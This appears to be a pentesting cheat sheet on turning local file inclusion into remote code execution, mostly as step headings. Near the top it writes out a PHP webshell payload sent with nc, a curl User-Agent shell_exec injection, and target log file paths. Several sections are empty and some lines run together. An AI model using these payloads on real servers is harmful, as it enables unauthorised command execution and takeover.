LFI
Log Poisoning
1) Locate a writable log file
/var/log/apache2/access.log/var/log/nginx/access.log/etc/nginx/nginx.conf 2) Inject a payload
nc -nv IP 80GET /<?php system($_GET['cmd']); ?>curl -A "<?= shell_exec('id'); ?>" http://example.com/vulnerable.php3) Execute via LFI
Alternate poisoning method: SSH Log Poisoning
1) Locate the log file
2) Poison the auth.log file
3) Run commands via your webshell now
RCE via Email
1. Connect to the mail server
2. Inject PHP payload into the email service
3. Perform user enumeration if unsure about the users
Path Traversal manual payloads
LFI to RCE by calling your uploaded reverse shell
1) Upload your reverse shell in a writable FTP share
2) Using LFI, find the FTP configuration file to detect the share that your shell is uploaded.
3) Enjoy your shell
LFI an a WordPress application
LFI for port knocking configuration file
Bonus: Wordlists
LFI Wrappers
1) Base64 encode a file
2) ROT13 encoding
3) php://data
Reverse Shell via LFI
1. Send PHP payload
2. Access the file via LFI to trigger the reverse shell
Last updated